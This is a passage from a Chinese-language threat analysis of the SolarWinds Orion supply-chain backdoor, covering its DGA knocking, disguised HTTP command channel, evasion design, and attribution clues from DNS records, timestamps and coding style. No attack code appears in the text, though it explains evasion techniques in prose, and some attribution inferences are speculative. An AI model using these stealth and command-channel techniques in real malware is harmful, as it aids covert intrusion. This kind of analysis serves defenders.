0.5px;">综上，敲门阶段整体的流程图（图27）可总结如下：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.7830374753451677" data-backh="434" data-type="png" data-w="1014" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=031ef116&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz1icBeqicWWunOYyftn9icoNZbOibUpKIBm6GzzK8XKWibicQ5M7s7pPwos0w%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图27</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">结合流程图和代码实现可以明显看出，一阶段DGA中包含了可以完整解析的域名，二阶段DGA中至少包含了有效的服务器时间戳，两个阶段具有相同的guid且可作为关联。这些都属于攻击者在设计阶段认为有用从而刻意搜集的信息。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同时，一二阶段的CNAME存在与否、IP本身最后两字节在后续攻击中具有实际含义，这些不可能通过传统的配置NameServer进行实现。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">所以我们完全有理由相信攻击者编写了一个定制化的NameServer服务，并承担了整个供应链攻击过程中的控制中枢，此服务至少应当具备以下几点能力：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1.收集被感染目标相关信息。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2.根据回传信息进行目标精准辨识。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3.根据既定作战任务进行目标筛选、研判并作出具体指令：终止、等待或是持续渗透。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x24 控制机制</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">相比复杂的DGA敲门，HTTP控制阶段相对简单得多。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">该阶段的入口点为SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer.HttpHelper::Initialize方法，和DGA敲门的代码结构类似，核心循环同样通过状态机实现。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">HttpHelper的构造函数会处理由敲门阶段决定的请求类型与代理类型（图28）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.24456521739130435" data-backh="135" data-type="png" data-w="552" style="width: 100%;height: auto;" data-backw="552" src="https://wechat2rss.xlab.app/img-proxy/?k=a9518a92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzWkD7fzKySianlaOw39HWIib5HUDia7rS5mabFgqtSib1vfbL9sab5JPuBw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图28</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">requestMethod字段伪装成合法的HTTP请求方法，其实际上决定了整个控制阶段的HTTP数据格式，具体为以下三点：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">1.决定User-Agent（图29）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.5458089668615984" data-backh="302" data-type="png" data-w="1026" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=fe2b8036&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzUMZib6DxEDvdOMiazvNmJoh69NanQvvMqUpibHjCZu4xQv9l2cIEBDIlQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图29</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">可以看到存在两种User-Agent，在正常情况下，第一种会用于Windows检查证书吊销列表，第二种用于SolarWinds本身的通信过程。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">考虑到SolarWinds本身是一个服务器软件，攻击者精心选择了正常服务器发送的User-Agent，并根据系统环境精确伪造了版本，在对抗层面上进一步提升了伪装的可信度。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">2.决定Url：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">无论采用了哪种User-Agent，后门最终使用的Url都将在合理范围内进行最大限度的随机化。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如果采用了第一种，则Url伪装为一个证书吊销列表文件（图30）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.22897897897897898" data-backh="126" data-type="png" data-w="1332" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=0a48bb9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzUcloEKUkicALJLkyYB3PIAcSkz4k2LicO6SOQuSO54IISKsDLtaQle9g%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图30</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">否则将伪装为SolarWinds正常请求链接或静态资源（图31、32）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.4951219512195122" data-backh="274" data-type="png" data-w="1230" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=4f3a731e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzjSJ2OJicNqickwUuaiaQCmxckfgkcrU1BerL6zngq7mYBuibv1Soroja5A%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图31</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="1.3037037037037038" data-backh="707" data-type="png" data-w="675" style="width: 100%;height: auto;" data-backw="542" src="https://wechat2rss.xlab.app/img-proxy/?k=48988fd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz19lys6Hv7t6icnuck4TEPo7uophDsE3s6An3DZyATyiaJQGgotKpkvXQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图32</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">Valid方法用于百分比随机，使得预测某个Url的产生是不可能的，这在一定程度上对基于统计学的恶意行为发现起到了对抗作用。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">3.决定如何解析返回数据（图33）</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.3079390537289495" data-backh="170" data-type="png" data-w="1247" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=6f20fd6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz7sibvxGSwXgib4FwueM9rdlRS5W0efn8muWAY9bDUs0s7iaBKLzmru1dA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图33</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">在整个执行流程中，User-Agent、请求的Url、对应的返回格式均严格对应，显示出了极为缜密的编码思路。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">而后的出网代理主要分为三类，无代理、系统代理以及SolarWinds本身配置的代理（图34）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.784375" data-backh="434" data-type="png" data-w="640" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=df4756d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzh0aRMWuMticgMcPLJsQGP4VA0LqjDBf0cLpeloGyUbMKNeDfTtjIf7A%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图34</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">注意红框位置，这段代码调用了SolarWinds本身功能实现，显然攻击者对该套系统极为熟悉，同时也为控制代码仓库的假设提供了另一重佐证。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">之后也不要忘记，这两个字段由DNS请求返回的IP解析而来，将IP地址本身作为控制信道的一环来决定后续行为，是本次行动一个非常显著的特征。这同时存在三个好处：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><strong><span style="font-size: 15px;letter-spacing: 0.5px;">1.基于域名的数据重放，很有可能无法得到有效信息甚至会得到完全错误的结果。</span></strong></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><strong><span style="font-size: 15px;letter-spacing: 0.5px;">2.若对方可以通过DNS出网但无法上线，可通过修改解析的方式更换代理配置。这也为上面自定义NS服务器的假设提供了证据。</span></strong></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><strong><span style="font-size: 15px;letter-spacing: 0.5px;">3.可能用于对抗在斯诺登事件中泄漏的TUTELAGE系统，该系统由NSA开发，其中CLOUDSHIELD模块使用了DNS劫持技术对未知威胁进行诱捕。据泄露信息，该系统被广泛部署在美国的国防承包商、军工企业以及情报机构，这与本次行动的受影响目标相吻合。</span></strong></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">控制过程中的HTTP请求同样经过高度伪装，根据代码还原的一个请求大致如下（图35）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="1.2857142857142858" data-backh="486" data-type="png" data-w="378" style="width: 100%;height: auto;" data-backw="378" src="https://wechat2rss.xlab.app/img-proxy/?k=200c290c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz72o3C6DxPrJ80bI512V6x2IgGf3n4tkQfsx9t9X3bamF7SqwiaYuibeQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图35</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">有效信息被完全打散并伪装成合法的json格式进行传输，同时传输过程中刻意仿冒了Solarwinds的真实URL，容易让专业水平较低的安全分析师误判为合法通讯。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">和协议相比，具体的控制指令实现反而乏善可陈，事实上这在远控开发中也是最微不足道的细枝末节。我们查看实际实现的功能，可以很明显的看出仅有基本信息、文件管理、注册表管理、无回显命令执行、重启等基本功能（图36），不存在动态拓展、也不存在横向移动等后渗透阶段的相关能力支持。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="1.2966360856269112" data-backh="434" data-type="png" data-w="327" style="width: 100%;height: auto;" data-backw="335" src="https://wechat2rss.xlab.app/img-proxy/?k=30c381cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz9KQ6hKmEFXNez6TKDIqibk6ODRzjmvPMSEhkhbFgyejlsOIHvRqCPBw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图36</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如此简陋的控制功能和极为复杂的上线逻辑形成了相当大的反差，那么只有一种可能：此后门在实质上仅仅是一个高隐蔽性的探针，后续攻击一定会更换后渗透的攻击套件进行下一阶段的行动。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同时结合敲门阶段的自毁功能，我们甚至有理由怀疑真正进入后渗透阶段后探针将停止一切活动，该功能可由控制中枢（NameServer）下发黑名单域名直接完成，也标志着这套寄生于SolarWinds中的供应链后门生命周期的结束。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">通过分析相关的DGA数据获取的信息也可以得出本次行动的供应链攻击环节由三月份开始并在七月份达到顶峰，随后成逐渐下降的趋势并于十月份消失在视野之中，详见0x41章节。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x25 行动架构</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">结合上述已知行为，我们可以大致勾勒出该后门探针的执行流程（图37）。这个流程的核心体现在了上线阶段的高强度运行环境检测、高度定制化的NameServer作为控制中枢以及寄生于DNS协议的控制信道：</span><br/></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.6615873015873016" data-backh="366" data-type="png" data-w="3150" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=d46cde44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzmkDbzH3YJHcCVFhhXiadMgPIAgnAh4AzTqzzib89pnhuNjmZx1aRz7Ow%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图37</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">将这样复杂的定制化后门作为一次性探针使用，这样高的开发成本和攻击成本对小团队来说是不现实的。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">实际上能够设计出这样一种执行流程本身体现了攻击者在行动方面造诣颇深，通过IP这种难以精确控制的资源作为控制载体从侧面能够体现出攻击者本身维护了一个庞大的基础设施网络资源库，同时也体现出了该组织较为雄厚的经济实力。</span></section><h1 style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="letter-spacing: 0.5px;font-size: 24px;"><br/></span></h1><h1 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x30 追溯</span></strong></h1><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">在前言中提到，已被捕获的攻击行为实质上提供了一个直接触碰攻击组织的窗口。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">现在我们捕获了样本，并对所实现功能进行了完整分析并初步推断了原因。接下来只要以此为基础进行拓展，便能追寻出关于攻击者更多的蛛丝马迹。</span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><br/></h2><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x31 域名</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">从样本DGA算法中我们知晓，敲门阶段的DGA域名包含可解密信息，而互联网上大量可供查询的PDNS记录为我们收集此类信息提供了足够多的样本。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">从代码层面分析可以得出，攻击者设计了一套精妙的DGA技术用于信息渗出及指令下达。但也正因为如此，我们可以通过奇安信司南系统（PDNS）提供的数据对攻击组织的活动进行时空层面的回溯并反推出具体的行动规划。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">一阶段DGA域名的作用是通过DNS请求，将内网DNS域完整传递至探针主控端，在绝大多数时候这等同于Windows AD域名。通过AD域名可以推断出实际的受影响范围并尝试猜测攻击者的战略目的。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">将DGA域名进行Base32解码，查看首字节最高位是否置位，即可筛选出全部一阶段DGA域名；将第15个字符转换后和第1个字符相减，即可确认这是分段传输中的第几部分；从第16个字符开始是有效内容的片段，将所有片段按顺序组合并进行Base32，最终将得到完整的AD域名。具体代码实现参考文末链接，在此不做赘述。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">根据奇安信CERT对该事件的持续追踪分析，截止12月16日，已确认受害的重要机构至少200家，波及北美、欧洲等全球重要科技发达地区的敏感机构，其中美国占比超过60%。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><br/></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="font-size: 24px;letter-spacing: 0.5px;">0x32 时间</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">同样的，敲门第二阶段包含大量时间信息。同样将DGA域名进行Base32解码，首字节最高位未置位即表明是二阶段DGA域名；将解码后的数据和第一字节异或，即可得到原文；原文的9、10、11三个字节即为以大端序存储，从2010-1-1开始，以半小时为单位的时间戳。</span><br/></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同样结合0x31中的DGA域名，我们可以成功解密出更多的数据，</span><span style="letter-spacing: 0.5px;font-size: 16px;"><strong>这些数据可以揭示攻击组织花费了6个月以上的时间进行目标筛选与识别工作</strong></span><span style="font-size: 15px;letter-spacing: 0.5px;">。而在具体的时间跨度上，第一个出现的时间戳为2020/4/4 6:30:00（图38），考虑到至少12天的延时，最早在2020/3/23 6:30:00已有受害者被植入恶意样本。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.05741626794258373" data-backh="24" data-type="png" data-w="418" style="width: 100%;height: auto;" data-backw="418" src="https://wechat2rss.xlab.app/img-proxy/?k=95f9f5cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzC14J22ZMs08TYvHciaYkuh8gxQmpibADl7kiacCic9uAvdBPRhWAb8rhAQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图38</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">另外一个时间角度，我们可以从VT上面查找所有SolarWinds.Orion.Core.BusinessLayer.dll，并确认其编译时间。根据VT上全部66个样本的结果，最早一个存在后门的版本编译于2020/3/17（图39）。</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.11461794019933555" data-backh="63" data-type="png" data-w="1204" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=06074567&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrz3Iu7ncW3chiaoMo6iaEAlltF92gTakmXmuDiazgRicyPFPsF2b4hruzKtA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图39</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">通过奇安信司南系统提供的WHOIS变更记录也可以看到，攻击者在2020/02/26 12:04:03 GMT对NS记录进行了初次变更（图40），并指向了已知的六个恶意控制中枢服务器。</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.7922077922077922" data-s="300,640" data-backh="458" data-type="png" data-w="693" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=4206ef8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzrc6OXzMbLWHdGyneiazGyibnHnYlekNcx3QujicG8WIrhLTrqLJV9sNeg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图40</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">这里值得注意的是，在行动筹备、实施阶段（2020年2月26日至2020年10月8日）发生的whois记录更新为北京时间的20点至22点，美国相关组织强制修改的时间为北京时间的0点至2点。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">众所周知，美国与中国的时差大致为12小时（地球半圈儿），说明美国人在正常的工作时间内完成了本次接管操作。由此推断，攻击者与美国的距离大约是小半圈儿。</span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><br/></h2><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><strong><span style="letter-spacing: 0.5px;font-size: 24px;">0x33 伪装</span></strong></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">任何有代码功底的人看到本次样本的代码都应如同感到耳目一新，和充斥于安全圈的低质量代码不同，此样本的编码非常工整。代码本身高度仿照了SolarWinds的编码方式与命名规范，类名、方法全部采用Pascal命名，而字段和方法则使用驼峰式命名，将大量可复用功能单独抽取变为方法，将同功能代码封装为类，这些均是微软推荐的标准C#编程规范。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">类似编码规则会大大增强针对Review以及代码自动扫描时的存活能力。事实上如果不是对安全有所涉猎的人员，单纯开发人员几乎很难发现代码中隐藏的问题。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">同时，代码本身融入了安全人员“滥用”的思想，其代码中大量写做A表示B的成员提供了绝佳的掩饰，例如：</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">AddressFamilyEx.Atm表示内网黑名单。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">AddressFamilyEx.ImpLink表示外网黑名单。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">AddressFamilyEx.NetBios表示白名单。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">CryptoHelper.Base64Encode实际为自定义映射表的Base32编码。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">CryptoHelper.Base64Decode实际用于映射表替换。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">DnsRecords._type和DnsRecords.length用于控制HTTP行为。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">大量的TimeStamps实际上表示字符串Hash。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">不影响原本功能的情况下复用数值型配置ReportWatcherRetry和ReportWatcherPostpone。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">等等等等，不一而足。</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">上述举重若轻的实现体现出攻击者极为老练的代码功底。NativeMethods、AddressFamilyEx、nList、nCount等命名有着太过强烈的微软风格。事实上结合上述信息我们完全可以断定，探针的开发人员中至少有一名极为熟悉WindowsAPI编程与DotNetFramework源码的核心人员，此人在对方组织内负责把控整体的代码工程，包含设计、构建、编写甚至Review。根据代码工整度与实现逻辑的清晰程度，我们有理由相信其从事相关工作的时间至少在三至五年以上。</span></section><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><br/></h2><h2 style="margin-top: 5px;text-align: left;text-indent: 0em;"><span style="font-size: 24px;"><strong><span style="letter-spacing: 0.5px;">0x34 WebShell</span></strong></span></h2><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-indent: 2em;text-align: left;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">除供应链攻击的核心探针工程之外，还存在一个带有webshell功能的扩展文件：App_Web_logoimagehandler.ashx.b6031896.dll，其作用为动态编译代码并反射加载执行。</span><br/></p><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">和探针工程相比，这是一个极为蹩脚的后门实现。首先代码隐藏的不够深入；其次，有一行遗留的调试信息未删除（图41）：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.170316301703163" data-backh="94" data-type="png" data-w="822" style="width: 100%;height: auto;" data-backw="554" src="https://wechat2rss.xlab.app/img-proxy/?k=c43df74e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibOK3G0P2tugqtQ1mGxjibvrzOgBxoc6yGzicD0vuu3xnF0rjNpGs4Y46m6IJpHozId9duH8TUicsRqgQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-indent: 2em;margin-top: 5px;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.5px;">图41</span></section><section style="text-indent: 2em;margin-top: 5px;text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">编码中的clazz和\n（图42）暴露了开发者实际上是java出身的事实：</span></section><section style="margin-top: 5px;text-align: center;text-indent: 0em;"><img data-ratio="0.36180124223602483" data-backh="200" data-type="png" data-w="644" style="width: 100%;height: auto;" data-backw="554" 